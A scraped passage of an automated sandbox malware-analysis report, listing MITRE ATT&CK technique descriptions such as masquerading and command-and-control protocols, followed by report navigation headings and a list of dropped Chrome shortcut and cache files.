Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165